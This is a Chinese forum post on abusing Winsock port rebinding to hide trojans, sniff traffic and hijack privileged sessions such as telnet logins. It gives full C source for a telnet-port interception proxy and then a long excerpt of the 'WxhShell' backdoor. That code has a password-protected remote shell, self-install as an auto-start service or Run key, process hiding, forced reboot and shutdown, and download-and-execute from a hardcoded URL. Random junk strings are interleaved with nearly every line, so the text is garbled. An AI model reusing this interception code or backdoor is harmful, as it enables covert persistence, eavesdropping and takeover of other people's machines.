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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `IpA.| Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ysIh[1E~%:  
s^OO^%b  
  saddr.sin_family = AF_INET; q@5K6yE  
:q<Z'EnW  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); sd#|3  
3ss6_xd+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^\:8w0Y^  
"& Dx=Yf  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q_W0/Ki8  
l&YKD,H};  
  这意味着什么?意味着可以进行如下的攻击: _lKZmhi  
)&{K~i;:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8x{B~_~  
D<i[LZd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Fk;o E'"D  
{+<P:jbz;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +y2[msBs  
g @I6$Z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P|2E2=G  
;< )~Y-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 oY~ Dg  
~n')&u{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 IL/Yc1  
-F"Q EL#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 D'l5Zd  
YKbCdLQ  
  #include j/T>2|dA&  
  #include (}r|yE  
  #include Ioy  
  #include    4Tc&IwR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Zc |/{$>:W  
  int main() CBQhIvq.d  
  { SQ,?N XZ  
  WORD wVersionRequested; <!$:8ls  
  DWORD ret; (KZHX5T=  
  WSADATA wsaData; dm "n%  
  BOOL val; [a o U5;7  
  SOCKADDR_IN saddr;  O|A_PyW  
  SOCKADDR_IN scaddr; ;R=.iOn  
  int err; +(D$9{y   
  SOCKET s; "1q>At  
  SOCKET sc; $P7iRM]  
  int caddsize; j6~nE'sQ  
  HANDLE mt; X7UuwIIP  
  DWORD tid;   ;g_> ;tR/  
  wVersionRequested = MAKEWORD( 2, 2 ); G!8Z~CPF  
  err = WSAStartup( wVersionRequested, &wsaData ); v1k)hFjPK  
  if ( err != 0 ) { 5m=I*.qE  
  printf("error!WSAStartup failed!\n"); MC((M,3L  
  return -1; K'iIJA*Sn  
  } b?4/#&z]  
  saddr.sin_family = AF_INET; M}_ i52  
   jJ4qR:]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g>d;|sK  
 HBys  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LIU} a5  
  saddr.sin_port = htons(23); ki0V8]HP  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MF6 0-VE  
  { _mS!XF~`P  
  printf("error!socket failed!\n"); 0U/K7sZ  
  return -1; c(co\A.]:6  
  } 5Ft5@UF~  
  val = TRUE; VN0mDh?E  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]nQt>R p_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3QSZ ZJ  
  { xt'tL:d  
  printf("error!setsockopt failed!\n"); .,~(%#Wl$  
  return -1; A`}yBSb  
  } 3Y)PU=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S0g'r !;6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @ DZD  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O9'x -A%  
; UiwH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) MRr</o  
  { \ 6EKgC1  
  ret=GetLastError(); LAx4Xp/  
  printf("error!bind failed!\n"); 1iL 'V-y  
  return -1; 0w'j+  
  } Et"?8\"n7  
  listen(s,2); zJM S=r  
  while(1) Sx*oo{Kk%  
  { "'^4*o9  
  caddsize = sizeof(scaddr); 04J}UE]Ww  
  //接受连接请求 ]Ni$.@Hu$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5!C_X5M  
  if(sc!=INVALID_SOCKET) e&MC|US=\  
  { (qn2xrV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;v17K  
  if(mt==NULL) +6smsL~<#v  
  { k{tMzx]F__  
  printf("Thread Creat Failed!\n"); I9o6k?$K  
  break; bW#@OrsS  
  } wiOgyMdx  
  } |8%m.fY`  
  CloseHandle(mt); 'tN25$=V&W  
  } iDl;!b&V.  
  closesocket(s); AeIrr*~]B  
  WSACleanup(); &)i|$J 2.  
  return 0; H 9 C9P17  
  }   Y\],2[liF  
  DWORD WINAPI ClientThread(LPVOID lpParam) y5= `ap  
  { Ae^X35  
  SOCKET ss = (SOCKET)lpParam; =O _z(  
  SOCKET sc; d1!i(MaV!  
  unsigned char buf[4096]; V&soN:HS  
  SOCKADDR_IN saddr; !KKT[28v  
  long num; k^$+n_  
  DWORD val; J68j=`Y  
  DWORD ret; I"AYWo?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Ub0/r$]DK  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $(s\{(Wn  
  saddr.sin_family = AF_INET; J" j.'.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c8)/:xxl  
  saddr.sin_port = htons(23); |vte=)%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &"_u}I&\  
  { ERUt'1F?]  
  printf("error!socket failed!\n"); kE.x+2  
  return -1; I O%6 O  
  } dAP|:&y@  
  val = 100; 2LCB])X  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M)?dEgU}M  
  { ~mV"i7VX  
  ret = GetLastError(); g#NZ ,~  
  return -1; ?EMK8;  
  } bG&"9b_c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }14 {2=!Q  
  { %I!:ITa  
  ret = GetLastError(); < `qRA]  
  return -1; UX`]k{Mz  
  } EG'[`<*h  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -]C c  
  { gw+9x<e  
  printf("error!socket connect failed!\n"); e73^#O&Xt  
  closesocket(sc); d{et8N  
  closesocket(ss); ogM%N  
  return -1; e]ig!G]  
  } GZ!| }$ 8  
  while(1) Dz!fpE'L  
  { E< 4l#Z<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;;5Uwd'-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1ju#9i`.Wg  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Kzy/9  
  num = recv(ss,buf,4096,0); Bhp OXqg  
  if(num>0) 6Dws,_UAZ4  
  send(sc,buf,num,0); 0YH+B   
  else if(num==0) {"*VU3%q  
  break; "`}~~.q  
  num = recv(sc,buf,4096,0); p6EDQwlf  
  if(num>0) +c:3o*  
  send(ss,buf,num,0); 4A{|[}!  
  else if(num==0) nU+tM~C%a  
  break; RVtQ20e";r  
  } -@^Zq}  
  closesocket(ss); (VyNvB  
  closesocket(sc); v8>v.}y  
  return 0 ; ]u-SL md  
  } "_L?2ta  
ci,+Bjc  
fkfZ>D^1  
========================================================== ?wMHS4  
||2Q~*:  
下边附上一个代码,,WXhSHELL 5_K5?N  
F}Mhs17!|  
========================================================== G DSfT{kK\  
,F+B Wot4  
#include "stdafx.h" N;F)jO xsl  
iMF<5fLH&  
#include <stdio.h> 'f8(#n=6qP  
#include <string.h> >YW\~T  
#include <windows.h> Auy".br'  
#include <winsock2.h> '2J0>Bla  
#include <winsvc.h> /4=-b_2Y~  
#include <urlmon.h> C`oa3B,z  
si1*Wt<3Bc  
#pragma comment (lib, "Ws2_32.lib") _\5~>g_  
#pragma comment (lib, "urlmon.lib") 71FeDpe  
6XEZ4QP}  
#define MAX_USER   100 // 最大客户端连接数 ydl jw  
#define BUF_SOCK   200 // sock buffer (A k\Lm  
#define KEY_BUFF   255 // 输入 buffer >QQ(m\a$  
~CRSL1?  
#define REBOOT     0   // 重启 K5 3MMH[q#  
#define SHUTDOWN   1   // 关机 S6nhvU:  
qOCJTOg7  
#define DEF_PORT   5000 // 监听端口 Q>}2cDl  
v=Y K8fNi  
#define REG_LEN     16   // 注册表键长度 Pvo#pY^dXX  
#define SVC_LEN     80   // NT服务名长度 h>S[^ -,  
7&}P{<}o^  
// 从dll定义API iY[+Ywh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U3;aLQ*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h SqY$P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cl[!`Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #~:P}<h  
KcGsMPJ  
// wxhshell配置信息 wn +FTqj  
struct WSCFG { BJjx|VA+  
  int ws_port;         // 监听端口 ClW'W#*(Y  
  char ws_passstr[REG_LEN]; // 口令 a+41|)pt  
  int ws_autoins;       // 安装标记, 1=yes 0=no LDT(]HJ  
  char ws_regname[REG_LEN]; // 注册表键名 2H#N{>7  
  char ws_svcname[REG_LEN]; // 服务名 `cP <}^]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 db=$zIB[:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A Ayv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <T,A&`/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =?@Q -(bp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" khd5 Cf[   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'aJgLws*w  
Lrz3   
};  ~m=EM;  
I\P Bu$Ww  
// default Wxhshell configuration 2F_ R/{D  
struct WSCFG wscfg={DEF_PORT, uPyVF-i  
    "xuhuanlingzhe", ^z1IN-Tm/  
    1, s}x>J8hK  
    "Wxhshell", l4'~}nn(Y  
    "Wxhshell", >}+Q:iNQ)2  
            "WxhShell Service", a^nAZ  
    "Wrsky Windows CmdShell Service", uq7T{7~<  
    "Please Input Your Password: ", (ClhbfzD  
  1, @_'OyRd8  
  "http://www.wrsky.com/wxhshell.exe", kka"C]!  
  "Wxhshell.exe" <zfe }0  
    }; R zR?&J  
+`en{$%%  
// 消息定义模块 wJ"ev.A)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }Ag|gF!_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 54p tP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uF(k[[qaiN  
char *msg_ws_ext="\n\rExit."; =WZ%H_oxi  
char *msg_ws_end="\n\rQuit."; =Z0t :{  
char *msg_ws_boot="\n\rReboot..."; HQVh+(  
char *msg_ws_poff="\n\rShutdown..."; GKtS6$1d#  
char *msg_ws_down="\n\rSave to "; '8Wv.X0`  
9w ~cvlv[  
char *msg_ws_err="\n\rErr!"; q|#MB7e/  
char *msg_ws_ok="\n\rOK!"; mMw;0/n  
ma8wmQ9JR  
char ExeFile[MAX_PATH]; S)\8|ym6!  
int nUser = 0; A=3HO\n5  
HANDLE handles[MAX_USER]; y0q#R.TOm  
int OsIsNt; s3t!<9[m  
/lD?VE  
SERVICE_STATUS       serviceStatus; 83;IyvbL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ksI>IW  
#!#z5DJu  
// 函数声明 "e62/Ejg%  
int Install(void); 9BON.` |_  
int Uninstall(void); 90:K#nW;  
int DownloadFile(char *sURL, SOCKET wsh); tm)*2lH6  
int Boot(int flag); :X>DkRP  
void HideProc(void); tB6k|cPC  
int GetOsVer(void); hY;_/!_  
int Wxhshell(SOCKET wsl); \ElX~$fS  
void TalkWithClient(void *cs); aiftlY  
int CmdShell(SOCKET sock); 3;/?q  
int StartFromService(void); ,+L KJl  
int StartWxhshell(LPSTR lpCmdLine); \2DE ==M)P  
}C6@c1myq-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q7Ij4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c?6d2jH.  
vZjZb(jlN  
// 数据结构和表定义 }5gr5g\OtP  
SERVICE_TABLE_ENTRY DispatchTable[] = V/y=6wUiSl  
{ 2w1tK  
{wscfg.ws_svcname, NTServiceMain}, 'V!kL, 9ES  
{NULL, NULL} }p'8w\C$  
};  4#rAm"H  
<MZi<Z`  
// 自我安装 b7$}JCn  
int Install(void) gue(C(~.k_  
{ FBY ODw  
  char svExeFile[MAX_PATH]; UC!5 wVY  
  HKEY key; -<oZ)OfU  
  strcpy(svExeFile,ExeFile); \C/z%Hf7-  
FMS2.E  
// 如果是win9x系统,修改注册表设为自启动 \3^Pjx  
if(!OsIsNt) { I'IB_YRL4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { epVH.u%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YNM\pX'  
  RegCloseKey(key); 8~5|KO >F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S}gD,7@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3?ba 1F0Nw  
  RegCloseKey(key); G[6=u|(M  
  return 0; tA qs2  
    } &%e"9v2`  
  } ryEvmWYu  
} iQqbzOY  
else { k,]{NO   
oQvFrSz  
// 如果是NT以上系统,安装为系统服务 l<RfRqjw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZjD2u 8e  
if (schSCManager!=0) +"=~o5k3Q  
{ ? ).(fP  
  SC_HANDLE schService = CreateService \X opU"  
  ( >4'21,q  
  schSCManager, c~oe, 9  
  wscfg.ws_svcname, rk|a'&  
  wscfg.ws_svcdisp, h544dNo&  
  SERVICE_ALL_ACCESS, R6Pz#`n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nO [QcOf  
  SERVICE_AUTO_START, h.LSMU (O  
  SERVICE_ERROR_NORMAL, YPQCOG  
  svExeFile, ?M<|r11}  
  NULL, 4`0;^K.  
  NULL, )`RZkCe  
  NULL, gT7I9 (x!W  
  NULL, R7t bxC  
  NULL ]Hj`2\KD.d  
  ); +2(Pc JR~  
  if (schService!=0) m2MPWy5s  
  { F\P!NSFZV  
  CloseServiceHandle(schService); V,'FlU  
  CloseServiceHandle(schSCManager); EM~7#Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G[B*TM6$  
  strcat(svExeFile,wscfg.ws_svcname); Ug `   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qZc)Sa.S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T/3;NXe6E  
  RegCloseKey(key); 3?6Ber y=  
  return 0; :if5z2PE/  
    } lZ+/\s,]|  
  } p!V) 55J*  
  CloseServiceHandle(schSCManager); ix+x3OCip  
} IT7:QEfKU  
} n7'<3t  
J2x$uO{Bn  
return 1; yO%VzjJhg  
} m R"9&wq  
]n/jJ_[  
// 自我卸载 /XC;.dLA#  
int Uninstall(void) ,9+nfj  
{ 2}1!WIin  
  HKEY key; ]dQZ8yVK  
%k~C-+  
if(!OsIsNt) { LE Jlo%M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EzwF`3RjK  
  RegDeleteValue(key,wscfg.ws_regname); ]lC4+{V  
  RegCloseKey(key); Oym]&SrbS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~9]Vy (L  
  RegDeleteValue(key,wscfg.ws_regname); 7E@$}&E  
  RegCloseKey(key); 9 ?[4i'  
  return 0; J78Qj[v  
  } (p'/p  
} | H5Ync[s  
} _LLW{^V  
else { 4_Tb)?L+:  
vsxvHot=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +X{cN5Y K  
if (schSCManager!=0) }qTv&Z3$  
{  U5T^S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 15RI(BN   
  if (schService!=0) $XtV8  
  { Z{j!s6Y@{  
  if(DeleteService(schService)!=0) { aA!@;rR<yU  
  CloseServiceHandle(schService); OsDp88Bc  
  CloseServiceHandle(schSCManager); k|)^!BdO  
  return 0; UzP@{?  
  } + ;{rU&  
  CloseServiceHandle(schService); LD7? .  
  } $L $j KNwf  
  CloseServiceHandle(schSCManager); i|:: v l  
} >& 4I.nA  
} T(t <Ay?c  
50O7=  
return 1; j@!BOL~?  
} O#<|[Dzw  
uk>q\j  
// 从指定url下载文件 U:C-\ M  
int DownloadFile(char *sURL, SOCKET wsh) @Wlwt+;fT  
{ MV:<w3!  
  HRESULT hr; W_Ws3L1;N  
char seps[]= "/"; |>m# m*{S  
char *token; I3F6-gH  
char *file; h[M6.  
char myURL[MAX_PATH]; 4rGO8R  
char myFILE[MAX_PATH]; H-PW(  
s0`]!7D<  
strcpy(myURL,sURL); v>yGsJnV'  
  token=strtok(myURL,seps); '=@H2T6=  
  while(token!=NULL) B[2h   
  { 8z3I~yL_`+  
    file=token; @8x6#|D  
  token=strtok(NULL,seps); 3z{5c   
  } n8y,{|  
P*nT\B  
GetCurrentDirectory(MAX_PATH,myFILE); NC[GtAPD3  
strcat(myFILE, "\\"); C$]%1<-Iv]  
strcat(myFILE, file); <LOx.}fv  
  send(wsh,myFILE,strlen(myFILE),0); \M1M2(@pDJ  
send(wsh,"...",3,0); {O3oUE+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e P,XH{s  
  if(hr==S_OK) cVv4gQD\  
return 0; %o _0M^3W  
else + X|m>9  
return 1; WEY97_@  
aZ`_W|  
} &xMJ^Nv  
Jr*S2 z<*  
// 系统电源模块 j@_) F^12  
int Boot(int flag) JQVw6*u{  
{ %NAFU /&  
  HANDLE hToken; ~jCpL@rS  
  TOKEN_PRIVILEGES tkp; M b /X@51  
,oi`BOh  
  if(OsIsNt) { B$[%pm`'2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CFS3);'<|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H2pXJ/XF  
    tkp.PrivilegeCount = 1; ba)YbP[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ns(L1'9=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Vlxb<$5Nh  
if(flag==REBOOT) { yPxG`w'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bQ\-6dOtv  
  return 0; j*Wh;I+h  
} '2q xcco  
else { -aeo7C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h9OL%n 7m'  
  return 0; 0)]C&;}_M  
} SYW= L  
  } 1j) !d$8  
  else { :"+UG-S$6  
if(flag==REBOOT) { meVVRFQ2+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +]~w ?^h  
  return 0; UC LjR<}  
} H* L2gw  
else { +K?N:w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H6 f; BS  
  return 0; o:Os_NaD  
} m-KK {{  
} f[I'j0H%  
!7a^8   
return 1; 6Cv2>'{S  
} JLV}Fw  
:iOHc-x  
// win9x进程隐藏模块 Z6/~2S@  
void HideProc(void) X.4ZLwX=  
{ 8JOht(m  
Y1ilH-8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S%gO6&^  
  if ( hKernel != NULL ) /B?SaKh  
  {  yLIj4bf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t~W4o8<w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); huD\dmQ:]  
    FreeLibrary(hKernel); hv8[_p`>  
  } bz@=zLBt  
~Z/`W`  
return; 96E7hp !:  
} > FcA ,  
C05{,w?  
// 获取操作系统版本 cyP* QW[  
int GetOsVer(void) 5!Mp#lO  
{ pz6- hi7  
  OSVERSIONINFO winfo; Cy> +j{%!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gx9sBkoq5D  
  GetVersionEx(&winfo); :a!a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y^|3]G3  
  return 1; 1YD.jU^;HD  
  else Ol h%"=*;  
  return 0; l'lDzB+.*  
} h \cK  
0BP~ 0z  
// 客户端句柄模块 | xI_aYv*  
int Wxhshell(SOCKET wsl) } fMFQA)  
{ dv}R]f'  
  SOCKET wsh; $ 5-2 cL  
  struct sockaddr_in client; @.@#WHde  
  DWORD myID; @' :um  
^^Q32XC,  
  while(nUser<MAX_USER) U*U )l$!  
{ y\|\9Q%D  
  int nSize=sizeof(client); HPCA$LD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0Lz56e'j  
  if(wsh==INVALID_SOCKET) return 1; Q/`o6xv  
1xV1#'@[Jd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ef ;="N  
if(handles[nUser]==0) {Qmb!`F  
  closesocket(wsh); uqeWdj*Y  
else [Et\~'2w8=  
  nUser++; Z5a@fWU  
  } E_uH' E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  jy|xDQ  
ssbyvzQ  
  return 0; aNU%OeQA  
} 6}lEeMRW  
Q>g$)-8  
// 关闭 socket R* G>)YH  
void CloseIt(SOCKET wsh) /Z_ [)PTH  
{ gm$MEeC  
closesocket(wsh); }'v ?Qq  
nUser--; Guc^gq}  
ExitThread(0); wTbIS~!gF  
} %D0Ws9:|  
+Z(VWu6  
// 客户端请求句柄 PH &ms  
void TalkWithClient(void *cs) .[85<"C  
{ :2gO) 'cD  
\)kAhKtG  
  SOCKET wsh=(SOCKET)cs; .u3W]5M|  
  char pwd[SVC_LEN]; mU>* NP(L  
  char cmd[KEY_BUFF]; ]h$TgX  
char chr[1]; > o`RPWs  
int i,j; I;Y`rGj  
wIHz TL  
  while (nUser < MAX_USER) { v!C+W$,T  
O~]G(TMs8W  
if(wscfg.ws_passstr) { n}kz&,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =B%e0M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (2)9TpE;  
  //ZeroMemory(pwd,KEY_BUFF); 8?pZZtad  
      i=0; 3iL&;D  
  while(i<SVC_LEN) { :?W:'% (`[  
Hf|:A(vCx  
  // 设置超时  Vp4]  
  fd_set FdRead; kO"aE~  
  struct timeval TimeOut; J/2pS  
  FD_ZERO(&FdRead); e 3oIoj4o  
  FD_SET(wsh,&FdRead); XL9lB#v^  
  TimeOut.tv_sec=8; 8#B;nyGD1I  
  TimeOut.tv_usec=0; F\<i>LWT'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6* w;xf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #oY7v,x\  
1Xc%%j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JpiKZG@L  
  pwd=chr[0]; 3W0:0I  
  if(chr[0]==0xd || chr[0]==0xa) { .?NAq[H%  
  pwd=0; D~>P/b)v{j  
  break; jX@9849@  
  } 0[Aa2H*  
  i++; vj0?b/5m  
    } d a9 *>+[  
0l*/_;wo  
  // 如果是非法用户,关闭 socket u1<kdTxA N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +__Rk1CVh  
} $<PVzW,$o  
)cXc"aj@s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wS4wED&a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R\?!r4  
SYx)!n6U  
while(1) { ^bGi_YC  
ln7.>.F  
  ZeroMemory(cmd,KEY_BUFF); &5<lQ1  
]=Q'1%  
      // 自动支持客户端 telnet标准   @hPbD?)M  
  j=0; Fy^\Uw  
  while(j<KEY_BUFF) { \Qn8"I83AV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &-A 7%"  
  cmd[j]=chr[0]; :1Cc~+]w(u  
  if(chr[0]==0xa || chr[0]==0xd) { wDk[)9#A   
  cmd[j]=0; 3}Pa,u N  
  break; 3ssio-X  
  } &V L<Rx  
  j++; Mtr~d  
    } kcb'`<B  
$oEDyC  
  // 下载文件 FKP^f\!M  
  if(strstr(cmd,"http://")) { y:L|]p}huE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (Lp-3Xx  
  if(DownloadFile(cmd,wsh)) bvG Vfr "  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |j<'[gB\p  
  else x$E l7=.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zl)|x%z  
  } iu .{L(m  
  else { Velmq'n  
?l/rg6mbI'  
    switch(cmd[0]) { @tA.^k0`  
  v|xlI4  
  // 帮助 k)J7) L  
  case '?': { \ gN) GR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SO%5ts  
    break; #3S/TBy,  
  } W[jxfZD9v  
  // 安装 LLE~V~j  
  case 'i': { ! 9e>J  
    if(Install()) z}%to0W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [q z6_WOo  
    else gDv]n^&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z(xvt>  
    break; =P!Vi6[gF~  
    } gOkO8P6P8  
  // 卸载 {MS&t09Wh  
  case 'r': { ~^eAS;  
    if(Uninstall()) %wO~\:F8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !"kvXxp^  
    else ;?rW`e2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )D^P~2  
    break; } 8svd#S+  
    } 'D4NPG`z  
  // 显示 wxhshell 所在路径 l*eA ?Qz  
  case 'p': { ?z6C8T~+  
    char svExeFile[MAX_PATH]; [H& m@*UO  
    strcpy(svExeFile,"\n\r"); [Yv5Sw  
      strcat(svExeFile,ExeFile); > + SEze  
        send(wsh,svExeFile,strlen(svExeFile),0); I}:/v$btM  
    break; #G,e]{gs  
    } =FE,G*  
  // 重启 V*?,r<(  
  case 'b': { xnLfR6B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VKlD"UTk  
    if(Boot(REBOOT)) T&c[m!}X|t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dU\fC{1Z  
    else { xP*RH-<  
    closesocket(wsh); 6B 8!2  
    ExitThread(0); (*EN!-/  
    } >8VJ!Kg4  
    break; =}L[/RL  
    } w8E,zH  
  // 关机 R =jK3yfw  
  case 'd': { *D'V W{  
